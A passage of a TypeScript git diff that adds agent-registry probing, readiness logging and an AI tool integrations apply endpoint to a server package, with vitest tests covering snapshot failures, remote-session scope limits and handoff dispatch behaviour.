unknown;+ readonly desired?: unknown;+}++export interface AgentRegistryApplyOptions {+ readonly execute?: StepExecutor;+ readonly snapshot: () => Promise<HostSnapshot>;+ readonly env: EnvTier;+ readonly decisionHome: string;+ readonly userSkillPresentAnywhere?: (home: string) => boolean;+ readonly projectDir?: string | null;+}++async function safeSnapshot(+ take: () => Promise<HostSnapshot>,+ env: EnvTier,+): Promise<HostSnapshot> {+ try {+ return await take();+ } catch (err) {+ log.warn({ err }, 'host snapshot failed; claiming nothing');+ return emptyHostSnapshot(env);+ }+}++export async function applyAgentRegistryIntents(+ intents: readonly AgentRegistryIntentInput[],+ options: AgentRegistryApplyOptions,+): Promise<{ report: ApplyReport; snapshot: HostSnapshot }> {+ const before = await safeSnapshot(options.snapshot, options.env);+ const view = buildConnectionsView({ probes: before.probes, detection: before.detection });++ const plan = planIntents(+ intents.map((intent) => ({+ satisfierId: intent?.satisfierId as SatisfierId,+ desired: intent?.desired as 'present' | 'absent',+ })),+ view,+ );++ const report = await executePlan(plan, options.execute ?? NO_WRITER_EXECUTOR);++ const { decisionHome } = options;+ const userSkill = userSkillOutcome(report);+ const record =+ userSkill === 'installed'+ ? true+ : userSkill === 'removed' &&+ options.userSkillPresentAnywhere !== undefined &&+ !options.userSkillPresentAnywhere(decisionHome)+ ? false+ : null;+ if (record !== null) {+ await writeBundleDecision(decisionHome, BUNDLE_SKILL_NAME.discovery, record).catch(+ (err: unknown) => {+ log.warn({ err }, 'user-skill decision not recorded');+ },+ );+ }++ return { report, snapshot: await safeSnapshot(options.snapshot, options.env) };+}++function userSkillOutcome(report: ApplyReport): 'installed' | 'removed' | null {+ const steps = report.actions.filter(+ (action) => action.piece === 'skill' && action.scope === 'user',+ );+ if (steps.some((s) => s.action === 'written' || s.action === 'overwritten')) return 'installed';+ if (steps.some((s) => s.action === 'removed')) return 'removed';+ return null;+}diff --git a/packages/server/src/agent-registry-gate.test.ts b/packages/server/src/agent-registry-gate.test.tsnew file mode 100644index 000000000..41e2624fb--- /dev/null+++ b/packages/server/src/agent-registry-gate.test.ts@@ -0,0 +1,106 @@+import type { HostSnapshot } from '@inkeep/open-knowledge-core';+import { EMPTY_DETECTION_SNAPSHOT, EMPTY_PROBE_SNAPSHOT } from '@inkeep/open-knowledge-core';+import { describe, expect, test, vi } from 'vitest';+import { observeReadiness, type ReadinessObservationLogger } from './agent-registry-gate.ts';++function captureLog(): {+ log: ReadinessObservationLogger;+ info: ReturnType<typeof vi.fn>;+ warn: ReturnType<typeof vi.fn>;+} {+ const info = vi.fn();+ const warn = vi.fn();+ return { log: { info, warn }, info, warn };+}++const EMPTY_SNAPSHOT: HostSnapshot = {+ probes: EMPTY_PROBE_SNAPSHOT,+ detection: EMPTY_DETECTION_SNAPSHOT,+};++describe('observeReadiness', () => {+ test('records a verdict with both requirement statuses for a registered agent', async () => {+ const { log, info } = captureLog();++ const assessment = await observeReadiness({+ site: 'acp-thread',+ agentId: 'claude',+ mode: 'acp',+ log,+ snapshot: async () => EMPTY_SNAPSHOT,+ });++ expect(assessment?.verdict).toBeDefined();+ expect(info).toHaveBeenCalledTimes(1);+ const [fields, message] = info.mock.calls[0] ?? [];+ expect(message).toBe('[agent-gate] readiness');+ expect(fields).toMatchObject({+ site: 'acp-thread',+ mode: 'acp',+ agent: 'claude',+ registered: true,+ });+ expect(fields.mcp).toBeDefined();+ expect(fields.skill).toBeDefined();+ });++ test('logs an unregistered agent without repeating the id it was given', async () => {+ const { log, info } = captureLog();++ const assessment = await observeReadiness({+ site: 'acp-thread',+ agentId: 'some-agent-the-user-named-themselves',+ mode: 'acp',+ log,+ snapshot: async () => EMPTY_SNAPSHOT,+ });++ expect(assessment?.verdict).toBe('not-registered');+ const [fields] = info.mock.calls[0] ?? [];+ expect(fields.agent).toBeNull();+ expect(fields.registered).toBe(false);+ expect(JSON.stringify(fields)).not.toContain('some-agent-the-user-named-themselves');+ });++ test('answers unprobed rather than absent when no host snapshot is wired', async () => {+ const { log, info } = captureLog();++ await observeReadiness({ site: 'terminal', agentId: 'claude', mode: 'terminal', log });++ const [fields] = info.mock.calls[0] ?? [];+ expect(fields.mcp).toBe('met');+ expect(fields.mcpConfidence).toBe('unverified');+ });++ test('swallows a snapshot that throws and says so instead', async () => {+ const { log, info, warn } = captureLog();++ const assessment = await observeReadiness({+ site: 'deep-link',+ agentId: 'claude',+ mode: 'external',+ log,+ snapshot: async () => {+ throw new Error('probe blew up');+ },+ });++ expect(assessment).toBeNull();+ expect(info).not.toHaveBeenCalled();+ expect(warn).toHaveBeenCalledTimes(1);+ expect(warn.mock.calls[0]?.[1]).toBe('[agent-gate] readiness could not be assessed');+ });++ test('does not reject when the logger itself throws', async () => {+ const log = {+ info: () => {+ throw new Error('log sink is gone');+ },+ warn: vi.fn(),+ } as unknown as ReadinessObservationLogger;++ await expect(+ observeReadiness({ site: 'deep-link', agentId: 'claude', mode: 'external', log }),+ ).resolves.toBeNull();+ });+});diff --git a/packages/server/src/agent-registry-gate.ts b/packages/server/src/agent-registry-gate.tsnew file mode 100644index 000000000..4e8f56205--- /dev/null+++ b/packages/server/src/agent-registry-gate.ts@@ -0,0 +1,43 @@+import {+ type AgentMode,+ assessReadiness,+ type HostSnapshot,+ type ReadinessAssessment,+ type ReadinessLogSite,+ summarizeReadinessForLog,+} from '@inkeep/open-knowledge-core';++export interface ReadinessObservationLogger {+ info(data: unknown, message: string): void;+ warn(data: unknown, message: string): void;+}++export interface ObserveReadinessInput {+ readonly site: ReadinessLogSite;+ readonly agentId: string;+ readonly mode: AgentMode;+ readonly log: ReadinessObservationLogger;+ readonly snapshot?: () => Promise<HostSnapshot>;+}++export async function observeReadiness(+ input: ObserveReadinessInput,+): Promise<ReadinessAssessment | null> {+ try {+ const host = input.snapshot === undefined ? null : await input.snapshot();+ const assessment = assessReadiness({+ agentId: input.agentId,+ mode: input.mode,+ probes: host?.probes ?? null,+ detection: host?.detection ?? null,+ });+ input.log.info(summarizeReadinessForLog(input.site, assessment), '[agent-gate] readiness');+ return assessment;+ } catch (err) {+ input.log.warn(+ { err, site: input.site, mode: input.mode },+ '[agent-gate] readiness could not be assessed',+ );+ return null;+ }+}diff --git a/packages/server/src/agent-registry-probes.test.ts b/packages/server/src/agent-registry-probes.test.tsnew file mode 100644index 000000000..2660b49bc--- /dev/null+++ b/packages/server/src/agent-registry-probes.test.ts@@ -0,0 +1,121 @@+import {+ checkProbeCoverage,+ collectProbeCoverage,+ PROBEABLE_SATISFIER_IDS,+ type ProbeResolver,+ type ProbeWorkItem,+ planProbes,+} from '@inkeep/open-knowledge-core';+import { describe, expect, it } from 'vitest';+import { collectServerHostSnapshot, createServerProbeResolver } from './agent-registry-probes.ts';++function recordingResolver(): { resolve: ProbeResolver; asked: string[] } {+ const asked: string[] = [];+ return {+ asked,+ resolve: (item: ProbeWorkItem) => {+ asked.push(item.satisfierId);+ return { state: 'satisfied', strictness: ['reclaim-permissive'] };+ },+ };+}++function itemFor(id: string): ProbeWorkItem {+ const item = planProbes().find((candidate) => candidate.satisfierId === id);+ if (item === undefined) throw new Error(`no work item for ${id}`);+ return item;+}++describe('without an injected resolver', () => {+ it('answers nothing rather than guessing', async () => {+ const covered = await collectProbeCoverage(createServerProbeResolver({ env: 'local-web' }));+ expect(covered).toEqual([]);+ });++ it('still keys every satisfier, all of them unprobed', async () => {+ const { probes } = await collectServerHostSnapshot({ env: 'local-web' });+ expect(checkProbeCoverage(Object.keys(probes.satisfiers))).toEqual({+ missing: [],+ unclaimed: [],+ });+ const states = new Set(Object.values(probes.satisfiers).map((probe) => probe?.state));+ expect([...states]).toEqual(['unprobed']);+ });+});++describe('with an injected resolver', () => {+ it('answers everything the wiring layer can answer', async () => {+ const { resolve } = recordingResolver();+ const covered = await collectProbeCoverage(+ createServerProbeResolver({ env: 'local-web', resolve }),+ );+ expect(checkProbeCoverage(covered)).toEqual({ missing: [], unclaimed: [] });+ });++ it('produces no key the registry does not claim', async () => {+ const { resolve } = recordingResolver();+ const { probes } = await collectServerHostSnapshot({ env: 'local-web', resolve });+ expect(checkProbeCoverage(Object.keys(probes.satisfiers)).unclaimed).toEqual([]);+ });++ it('carries the tier it was told about', async () => {+ const { resolve } = recordingResolver();+ const { probes } = await collectServerHostSnapshot({ env: 'remote-web', resolve });+ expect(probes.env).toBe('remote-web');+ });++ it('reads a resolver that throws as unprobed', async () => {+ const { probes } = await collectServerHostSnapshot({+ env: 'local-web',+ resolve: () => {+ throw new Error('EACCES');+ },+ });+ expect(probes.satisfiers['claude/mcp/user/config-entry']).toEqual({ state: 'unprobed' });+ });+});++describe('a session describing a machine we cannot see', () => {+ it('declines the user-scope questions without asking', async () => {+ const { resolve, asked } = recordingResolver();+ const answer = await createServerProbeResolver({ env: 'remote-web', resolve })(+ itemFor('claude/mcp/user/config-entry'),+ );+ expect(answer).toEqual({ state: 'unprobed' });+ expect(asked).toEqual([]);+ });++ it('never states that decline as a state that counts as met', async () => {+ const { resolve } = recordingResolver();+ const { probes } = await collectServerHostSnapshot({ env: 'remote-web', resolve });+ const userScoped = planProbes().filter((item) => item.scope === 'user');+ expect(userScoped.length).toBeGreaterThan(0);+ for (const item of userScoped) {+ expect(probes.satisfiers[item.satisfierId]).toEqual({ state: 'unprobed' });+ }+ });++ it('still answers about the project it is serving', async () => {+ const { resolve, asked } = recordingResolver();+ const answer = await createServerProbeResolver({ env: 'remote-web', resolve })(+ itemFor('claude/mcp/project/config-entry'),+ );+ expect(answer).toEqual({ state: 'satisfied', strictness: ['reclaim-permissive'] });+ expect(asked).toEqual(['claude/mcp/project/config-entry']);+ });++ it('asks about every scope when the files are local', async () => {+ const { resolve, asked } = recordingResolver();+ await collectProbeCoverage(createServerProbeResolver({ env: 'local-web', resolve }));+ expect(asked).toEqual([...PROBEABLE_SATISFIER_IDS]);+ });+});++describe('detection', () => {+ it('claims no agent is present, from either tier', async () => {+ for (const env of ['local-web', 'remote-web'] as const) {+ const { detection } = await collectServerHostSnapshot({ env });+ expect(detection).toEqual({ detected: [], probed: false });+ }+ });+});diff --git a/packages/server/src/agent-registry-probes.ts b/packages/server/src/agent-registry-probes.tsnew file mode 100644index 000000000..75c453f1e--- /dev/null+++ b/packages/server/src/agent-registry-probes.ts@@ -0,0 +1,33 @@+import {+ buildProbeSnapshot,+ EMPTY_DETECTION_SNAPSHOT,+ type EnvTier,+ type HostSnapshot,+ type ProbeResolver,+} from '@inkeep/open-knowledge-core';++export interface ServerProbeOptions {+ readonly env: EnvTier;+ readonly resolve?: ProbeResolver;+}++export function createServerProbeResolver(options: ServerProbeOptions): ProbeResolver {+ const { env, resolve } = options;+ return (item) => {+ if (resolve === undefined) return null;+ if (env === 'remote-web' && item.scope === 'user') return { state: 'unprobed' };+ return resolve(item);+ };+}++export async function collectServerHostSnapshot(+ options: ServerProbeOptions,+): Promise<HostSnapshot> {+ return {+ probes: await buildProbeSnapshot({+ env: options.env,+ resolve: createServerProbeResolver(options),+ }),+ detection: EMPTY_DETECTION_SNAPSHOT,+ };+}diff --git a/packages/server/src/api-extension.ts b/packages/server/src/api-extension.tsindex d23dc7e1f..5038a88a5 100644--- a/packages/server/src/api-extension.ts+++ b/packages/server/src/api-extension.ts@@ -19,12 +19,15 @@ import { homedir, tmpdir } from 'node:os';import { dirname, extname, isAbsolute, join, relative, resolve, sep } from 'node:path';import { pipeline } from 'node:stream/promises';import type { Document, Extension, Hocuspocus } from '@hocuspocus/server';+import type { EnvTier } from '@inkeep/open-knowledge-core';import {type AdvisoryWarning,AGENT_ICON_COLORS,AGENTS_SKILLS_ROOT,AgentActivitySuccessSchema,AgentBurstDiffSuccessSchema,+ AgentIntegrationsApplyRequestSchema,+ AgentIntegrationsApplySuccessSchema,AgentPatchRequestSchema,AgentPatchSuccessSchema,AgentUndoRequestSchema,@@ -48,7 +51,6 @@ import {type DiskEditReconciledWarning,type DocumentListEntry,detectFmRegion,- EDITOR_PROJECT_SKILL_ROOT,type EditorId,EmptyRequestSchema,estimateSkillCost,@@ -184,6 +186,8 @@ import { captureEffect } from './activity-log.ts';import { listAgentActivity, synthesizeVersionDiff } from './agent-activity.ts';import type { AgentFocusBroadcaster } from './agent-focus.ts';import type { AgentPresenceBroadcaster } from './agent-presence.ts';+import { type AgentRegistryHostSeam, applyAgentRegistryIntents } from './agent-registry-apply.ts';+import { collectServerHostSnapshot } from './agent-registry-probes.ts';import {AgentSessionCapacityError,type AgentSessionManager,@@ -293,6 +297,7 @@ import {resolvedHosts,resolveSkillTargets,reverseProjectSkill,+ skillProjectionEditorIds,skillProjectionRoots,validateSkillForInstall,} from './skill-projection.ts';@@ -434,6 +439,7 @@ import type { GuardedFetch } from './link-preview/metadata.ts';import {checkLocalOpSecurity as checkLocalOpSecurityBase,createConcurrencyGuard,+ isLoopbackRequest,isSafeLocalPath,} from './local-op-security.ts';import { localTargetInventoryFromIndexes } from './local-target-inventory.ts';@@ -1477,6 +1483,7 @@ export interface ApiExtensionOptions {getBridgeLossReporter?: () => BridgeDeriveLossReporter | undefined;getPrincipal?: () => Principal | null;homeDirOverride?: string;+ agentIntegrations?: AgentRegistryHostSeam;savedThemeLockTimeoutMs?: number;acpRegistry?: AcpRegistry;loadAcpCustomAgents?: () => Promise<CustomAgentEntry[]>;@@ -1587,6 +1594,7 @@ export function createApiExtension(getBridgeLossReporter,getPrincipal,homeDirOverride,+ agentIntegrations,savedThemeLockTimeoutMs,acpRegistry,loadAcpCustomAgents,@@ -5951,14 +5959,16 @@ export function createApiExtension(function resolveBuiltinSkillDir(base: string,name: string,+ scope: 'project' | 'global',host?: string,): { dir: string; skillMd: string; hosts: string[]; relPath: string } | null {const hosts: string[] = [];let chosenDir: string | null = null;+ const scopeRoots = skillProjectionRoots(scope);const roots: Array<{ id: string; root: string }> = [- ...PROJECT_SKILL_EDITOR_IDS.map((editorId) => ({+ ...skillProjectionEditorIds(scope).map((editorId) => ({id: editorId as string,- root: EDITOR_PROJECT_SKILL_ROOT[editorId] ?? '',+ root: scopeRoots[editorId] ?? '',})),{ id: 'agents', root: AGENTS_SKILLS_ROOT },];@@ -5991,9 +6001,13 @@ export function createApiExtension(};}- function synthBuiltinLockEntry(base: string, name: string): SkillsLock['skills'][string] | null {+ function synthBuiltinLockEntry(+ base: string,+ name: string,+ scope: 'project' | 'global',+ ): SkillsLock['skills'][string] | null {if (!isInternalBundleSkillName(name)) return null;- const resolved = resolveBuiltinSkillDir(base, name);+ const resolved = resolveBuiltinSkillDir(base, name, scope);if (!resolved) return null;const contentHash = parseSkillDir(resolved.dir)?.contentHash ?? '';let importedAt: string;@@ -6122,7 +6136,7 @@ export function createApiExtension(size?: ReturnType<typeof estimateSkillCost>;origin?: ReturnType<typeof skillOriginFor>;} | null {- const resolved = resolveBuiltinSkillDir(base, name);+ const resolved = resolveBuiltinSkillDir(base, name, scope);const skillMd = resolved?.skillMd ?? shippedBundleSkillMd(name);if (skillMd === null) return null;let description: string | undefined;@@ -6130,7 +6144,7 @@ export function createApiExtension(const { frontmatter } = parseFrontmatterDoc(readFileSync(skillMd, 'utf-8'));if (typeof frontmatter.description === 'string') description = frontmatter.description;} catch {}- const synthEntry = synthBuiltinLockEntry(base, name);+ const synthEntry = synthBuiltinLockEntry(base, name, scope);const parsed = parseSkillDir(dirname(skillMd));return {name,@@ -6176,7 +6190,7 @@ export function createApiExtension(const installed = await removeSkillInstall(base, name);const scanBaseForPurge = scope === 'project' ? contentDir : skillsHome;if (opts.purge !== undefined) {- reverseProjectSkill(name, base, PROJECT_SKILL_EDITOR_IDS, skillProjectionRoots(scope));+ reverseProjectSkill(name, base, skillProjectionEditorIds(scope), skillProjectionRoots(scope));for (const dir of removableSkillOccurrenceDirs(scanBaseForPurge,scope,@@ -6211,13 +6225,13 @@ export function createApiExtension(canonicalHash: entry.contentHash,name,cwd: base,- targets: [...PROJECT_SKILL_EDITOR_IDS],+ targets: [...skillProjectionEditorIds(scope)],roots: skillProjectionRoots(scope),});return installed !== null;}}- reverseProjectSkill(name, base, PROJECT_SKILL_EDITOR_IDS, skillProjectionRoots(scope));+ reverseProjectSkill(name, base, skillProjectionEditorIds(scope), skillProjectionRoots(scope));return installed !== null;}@@ -6532,7 +6546,7 @@ export function createApiExtension(const entry =tracked && selfPlugin === null? (lock?.skills[s.name] ??- synthBuiltinLockEntry(contentDir, s.name) ??+ synthBuiltinLockEntry(contentDir, s.name, 'project') ??synthPluginLockEntry(s.name, detectedIdentity, skillAbsDir)): undefined;const origin = entry ? skillOrigin(entry) : undefined;@@ -6647,7 +6661,7 @@ export function createApiExtension(if (selfPluginGlobal !== null) return { plugin: selfPluginGlobal };const entry =globalLock.skills[s.name] ??- synthBuiltinLockEntry(skillsHome, s.name) ??+ synthBuiltinLockEntry(skillsHome, s.name, 'global') ??synthPluginLockEntry(s.name, detectedIdentity, globalAbsDir);if (!entry) return {};const globallyModified =@@ -6762,7 +6776,7 @@ export function createApiExtension(if (isInternalBundleSkillName(name)) {const base = scope === 'global' ? skillsHome : projectDir;const builtin = base- ? resolveBuiltinSkillDir(base, name, url.searchParams.get('host') ?? undefined)+ ? resolveBuiltinSkillDir(base, name, scope, url.searchParams.get('host') ?? undefined): null;if (builtin) {const { frontmatter, body } = parseFrontmatterDoc(@@ -7168,9 +7182,9 @@ export function createApiExtension(: [];const priorHosts = [...new Set([- ...(priorInstall ? resolvedHosts(priorInstall.hosts) : []),- ...(renameScanEntry ? resolvedHosts(renameScanEntry.hosts) : []),- ...resolvedHosts(renameAliasAudience),+ ...(priorInstall ? resolvedHosts(priorInstall.hosts, body.scope) : []),+ ...(renameScanEntry ? resolvedHosts(renameScanEntry.hosts, body.scope) : []),+ ...resolvedHosts(renameAliasAudience, body.scope),]),];@@ -7525,9 +7539,9 @@ export function createApiExtension(: [];const priorHosts = [...new Set([- ...(priorInstall ? resolvedHosts(priorInstall.hosts) : []),- ...(scanEntry ? resolvedHosts(scanEntry.hosts) : []),- ...resolvedHosts(aliasAudience),+ ...(priorInstall ? resolvedHosts(priorInstall.hosts, fromScope) : []),+ ...(scanEntry ? resolvedHosts(scanEntry.hosts, fromScope) : []),+ ...resolvedHosts(aliasAudience, fromScope),]),];@@ -7927,7 +7941,9 @@ export function createApiExtension(: projectDir: undefined;const builtinHost = url.searchParams.get('host') ?? undefined;- const builtin = builtinBase ? resolveBuiltinSkillDir(builtinBase, name, builtinHost) : null;+ const builtin = builtinBase+ ? resolveBuiltinSkillDir(builtinBase, name, scope, builtinHost)+ : null;if (rel === '' || rel.includes('\x00')) {errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Invalid skill file path.', {handler: 'skill-file-get',@@ -8582,7 +8598,7 @@ export function createApiExtension(new Date().toISOString(),{ selfIdentifiesAsPack: bundleSelfIdentifiesAsPack(bundleDir) },) ??- synthBuiltinLockEntry(scope === 'global' ? skillsHome : contentDir, name) ??+ synthBuiltinLockEntry(scope === 'global' ? skillsHome : contentDir, name, scope) ??synthPluginLockEntry(name, resolveProjectIdentity(projectDir ?? contentDir), bundleDir));}@@ -9792,7 +9808,10 @@ export function createApiExtension(return;}- const priorHosts = resolvedHosts(readInstalledSkills(base).skills[body.name]?.hosts ?? []);+ const priorHosts = resolvedHosts(+ readInstalledSkills(base).skills[body.name]?.hosts ?? [],+ body.scope,+ );const dropped = priorHosts.filter((h) => !targets.includes(h));if (dropped.length > 0)reverseProjectSkill(body.name, base, dropped, skillProjectionRoots(body.scope));@@ -10510,6 +10529,62 @@ export function createApiExtension(});searchService.prewarm();+ const handleAgentIntegrationsApply = withValidation(+ AgentIntegrationsApplyRequestSchema,+ catchErrors(+ async (req, res, body) => {+ const bodyObj = body as unknown as Record<string, unknown>;+ const actor = extractActorIdentity(bodyObj, getPrincipal);+ if (actor.kind === 'invalid-summary') {+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Summary must be a string.', {+ handler: 'agent-integrations-apply',+ });+ return;+ }++ const envTier: EnvTier = isLoopbackRequest(req) ? 'local-web' : 'remote-web';+ const { report, snapshot } = await applyAgentRegistryIntents(body.intents, {+ execute: agentIntegrations?.execute,+ env: envTier,+ snapshot: () =>+ collectServerHostSnapshot({ env: envTier, resolve: agentIntegrations?.probe }),+ decisionHome: homeDirOverride ?? homedir(),+ ...(agentIntegrations?.userSkillPresentAnywhere !== undefined+ ? { userSkillPresentAnywhere: agentIntegrations.userSkillPresentAnywhere }+ : {}),+ projectDir,+ });++ log.info(+ {+ actor: actor.kind,+ applied: report.actions.length,+ failed: report.actions.filter((action) => action.errorId !== undefined).length,+ conflicts: report.conflicts.map((conflict) => conflict.kind),+ },+ '[agent-integrations] batch applied',+ );++ successResponse(+ res,+ 200,+ AgentIntegrationsApplySuccessSchema,+ { ...report, snapshot },+ { handler: 'agent-integrations-apply' },+ );+ },+ {+ handler: 'agent-integrations-apply',+ title: 'Failed to apply AI tool connections.',+ },+ ),+ {+ handler: 'agent-integrations-apply',+ method: 'POST',+ preBodyGate: (req, res) =>+ checkLocalOpSecurity(req, res, { handler: 'agent-integrations-apply' }),+ },+ );let lintConfigEpoch = 0;function signalLintConfigChanged(): void {lintConfigEpoch += 1;@@ -10994,6 +11069,7 @@ export function createApiExtension('/api/agent-burst-diff': handleAgentBurstDiff,'/api/save-version': handleSaveVersion,'/api/rollback': handleRollback,+ '/api/agent-integrations/apply': handleAgentIntegrationsApply,'/api/install-skill': handleInstallSkill,};@@ -11037,6 +11113,7 @@ export function createApiExtension('/api/skills/reimport-bulk','/api/skill/revert','/api/skill/track-in-git',+ '/api/agent-integrations/apply',]);const apiRouteTable: ApiRouteTable = {@@ -11244,6 +11321,7 @@ export function createApiExtension(log,checkLocalOpSecurity,installedAgentsCache,+ agentIntegrations,});const folderTemplateRoutes = createFolderTemplateRoutes({contentDir,diff --git a/packages/server/src/boot.ts b/packages/server/src/boot.tsindex a8ba64adf..e39b4730a 100644--- a/packages/server/src/boot.ts+++ b/packages/server/src/boot.ts@@ -47,6 +47,7 @@ import {type AcpThreadManagerOptions,buildOkMcpStdioCommand,} from './acp/thread-manager.ts';+import { collectServerHostSnapshot } from './agent-registry-probes.ts';import { createAssetServeMiddleware } from './asset-serve-middleware.ts';import { bootElapsedMs, recordBootPhase, startBootTimings } from './boot-timings.ts';import type { Config } from './config/schema.ts';@@ -173,6 +174,7 @@ export interface BootServerOptions| 'enableTestRoutes'| 'lockKind'| 'detectGh'+ | 'agentIntegrations'| 'detectGhAccounts'| 'tokenStore'| 'embeddingsKeyStore'@@ -432,6 +434,7 @@ async function bootServerInner(opts: BootServerOptions): Promise<BootedServer> {detectGh: opts.detectGh,detectGhAccounts: opts.detectGhAccounts,tokenStore: opts.tokenStore,+ agentIntegrations: opts.agentIntegrations,embeddingsKeyStore: opts.embeddingsKeyStore,singleDocRelPath: opts.singleDocRelPath,ephemeral: opts.ephemeral,@@ -513,6 +516,8 @@ async function bootServerInner(opts: BootServerOptions): Promise<BootedServer> {probeHarnessManagedMcpEntry: opts.probeHarnessManagedMcpEntry,probePiAcpBridge: opts.probePiAcpBridge,ensurePiAcpBridge: opts.ensurePiAcpBridge,+ hostSnapshot: () =>+ collectServerHostSnapshot({ env: 'local-web', resolve: opts.agentIntegrations?.probe }),log,});if (acpThreadManager !== null) await acpThreadManager.init();diff --git a/packages/server/src/handoff-dispatch-api.test.ts b/packages/server/src/handoff-dispatch-api.test.tsindex d017601a2..48a3ed450 100644--- a/packages/server/src/handoff-dispatch-api.test.ts+++ b/packages/server/src/handoff-dispatch-api.test.ts@@ -1,5 +1,6 @@import type { IncomingMessage, ServerResponse } from 'node:http';import { Readable } from 'node:stream';+import { EMPTY_DETECTION_SNAPSHOT, EMPTY_PROBE_SNAPSHOT } from '@inkeep/open-knowledge-core';import { describe, expect, test, vi } from 'vitest';import {type HandleHandoffDispatchDeps,@@ -616,3 +617,97 @@ describe('handleHandoffDispatch — cursor recipe (cli-binary)', () => {expect(captured.body).toMatchObject({ target: 'cursor' });});});++describe('handleHandoffDispatch — readiness observation', () => {+ test('consults the host snapshot without changing the dispatched steps', async () => {+ const calls: Array<{ exec: string; args: ReadonlyArray<string> }> = [];+ const spawnDetached = vi.fn(async (exec: string, args: ReadonlyArray<string>) => {+ calls.push({ exec, args: [...args] });+ return { ok: true } as SpawnOutcome;+ });+ const hostSnapshot = vi.fn(async () => ({+ probes: EMPTY_PROBE_SNAPSHOT,+ detection: EMPTY_DETECTION_SNAPSHOT,+ }));+ const { res, captured } = makeRes();++ await handleHandoffDispatch(+ makeReq('POST', { target: 'codex', url: CODEX_URL }),+ res,+ makeDeps({ spawnDetached, hostSnapshot }),+ );++ expect(hostSnapshot).toHaveBeenCalledTimes(1);+ expect(captured.status).toBe(200);+ expect(captured.body).toEqual({});+ expect(calls).toEqual([+ { exec: '/usr/bin/osascript', args: ['-e', 'tell application "Codex" to quit'] },+ { exec: '/usr/bin/open', args: ['-a', 'Codex'] },+ { exec: '/usr/bin/open', args: [CODEX_URL] },+ ]);+ });++ test('dispatches unchanged when the host snapshot throws', async () => {+ const calls: Array<{ exec: string; args: ReadonlyArray<string> }> = [];+ const spawnDetached = vi.fn(async (exec: string, args: ReadonlyArray<string>) => {+ calls.push({ exec, args: [...args] });+ return { ok: true } as SpawnOutcome;+ });+ const { res, captured } = makeRes();++ await handleHandoffDispatch(+ makeReq('POST', { target: 'cursor', url: CURSOR_URL, workspacePath: VALID_PATH }),+ res,+ makeDeps({+ spawnDetached,+ hostSnapshot: async () => {+ throw new Error('probe blew up');+ },+ }),+ );++ expect(captured.status).toBe(200);+ expect(calls).toEqual([+ { exec: '/usr/local/bin/cursor', args: [VALID_PATH] },+ { exec: '/usr/bin/open', args: [CURSOR_URL] },+ ]);+ });++ test('leaves the not-installed outcome intact', async () => {+ const hostSnapshot = vi.fn(async () => ({+ probes: EMPTY_PROBE_SNAPSHOT,+ detection: EMPTY_DETECTION_SNAPSHOT,+ }));+ const { res, captured } = makeRes();++ await handleHandoffDispatch(+ makeReq('POST', { target: 'claude-cowork', url: CLAUDE_URL }),+ res,+ makeDeps({+ platform: 'win32',+ isSchemeRegistered: async () => false,+ spawnDetached: vi.fn(async () => ({ ok: true }) as SpawnOutcome),+ hostSnapshot,+ }),+ );++ expectProblem(captured, 422, 'urn:ok:error:handoff-target-not-installed');+ });++ test('never reaches the observation for a body it rejects', async () => {+ const hostSnapshot = vi.fn(async () => ({+ probes: EMPTY_PROBE_SNAPSHOT,+ detection: EMPTY_DETECTION_SNAPSHOT,+ }));+ const { res, captured } = makeRes();++ await handleHandoffDispatch(+ makeReq('POST', { target: 'codex', url: CLAUDE_URL }),+ res,+ makeDeps({ hostSnapshot }),+ );++ expectProblem(captured, 400, 'urn:ok:error:invalid-request');+ expect(hostSnapshot).not.toHaveBeenCalled();+ });+});diff --git a/packages/server/src/handoff-dispatch-api.ts b/packages/server/src/handoff-dispatch-api.tsindex 954271268..c75479029 100644--- a/packages/server/src/handoff-dispatch-api.ts+++ b/packages/server/src/handoff-dispatch-api.ts@@ -1,6 +1,12 @@import type { IncomingMessage, ServerResponse } from 'node:http';-import { sleep as defaultSleep, type HandoffTarget } from '@inkeep/open-knowledge-core';+import {+ agentIdForHandoffTarget,+ sleep as defaultSleep,+ type HandoffTarget,+ type HostSnapshot,+} from '@inkeep/open-knowledge-core';import { z } from 'zod';+import { observeReadiness } from './agent-registry-gate.ts';import { createOsProbe, type InstalledAgentScheme } from './handoff-api.ts';import { errorResponse } from './http/error-response.ts';import {@@ -9,6 +15,7 @@ import {readBoundedJsonBody,} from './http/request-validation.ts';import { successResponse } from './http/success-response.ts';+import { getLogger } from './logger.ts';import {isPathWithinDir,resolveCursorBinaryDefault,@@ -16,6 +23,8 @@ import {} from './spawn-cursor-api.ts';import { type SpawnDetachedOutcome, spawnDetached as spawnDetachedReal } from './spawn-detached.ts';+const log = getLogger('handoff-dispatch');+const HANDLER = 'handoff';const HANDOFF_MAX_BODY_BYTES = 4 * 1024;const HANDOFF_BODY_READ_TIMEOUT_MS = 5_000;@@ -97,6 +106,7 @@ export interface HandleHandoffDispatchDeps {) => Promise<SpawnDetachedOutcome>;readonly resolveCursorBinary?: (timeoutMs: number) => Promise<string | null>;readonly isSchemeRegistered?: (scheme: InstalledAgentScheme) => Promise<boolean>;+ readonly hostSnapshot?: () => Promise<HostSnapshot>;}export type { SpawnDetachedOutcome as SpawnOutcome } from './spawn-detached.ts';@@ -178,6 +188,14 @@ export async function handleHandoffDispatch(const spawnDetached = deps.spawnDetached ?? spawnDetachedReal;const isSchemeRegistered = deps.isSchemeRegistered ?? createOsProbe(deps.platform);+ await observeReadiness({+ site: 'deep-link',+ agentId: agentIdForHandoffTarget(target) ?? target,+ mode: 'external',+ log,+ snapshot: deps.hostSnapshot,+ });+if (recipe.type === 'app-bundle') {if (deps.platform === 'darwin') {if (recipe.quitFirst) {diff --git a/packages/server/src/http/system-actions-routes.ts b/packages/server/src/http/system-actions-routes.tsindex ca527ea64..5274c6c06 100644--- a/packages/server/src/http/system-actions-routes.ts+++ b/packages/server/src/http/system-actions-routes.ts@@ -1,5 +1,7 @@import type { IncomingMessage, ServerResponse } from 'node:http';import { ClientLogsRequestSchema, ClientLogsSuccessSchema } from '@inkeep/open-knowledge-core';+import type { AgentRegistryHostSeam } from '../agent-registry-apply.ts';+import { collectServerHostSnapshot } from '../agent-registry-probes.ts';import type { createInstalledAgentsProbe } from '../handoff-api.ts';import { handleHandoffDispatch } from '../handoff-dispatch-api.ts';import { getLogger, type PinoLogger } from '../logger.ts';@@ -19,10 +21,11 @@ export interface SystemActionsRouteDeps {opts: { handler: string },) => boolean;installedAgentsCache: Pick<ReturnType<typeof createInstalledAgentsProbe>, 'probeWithCache'>;+ 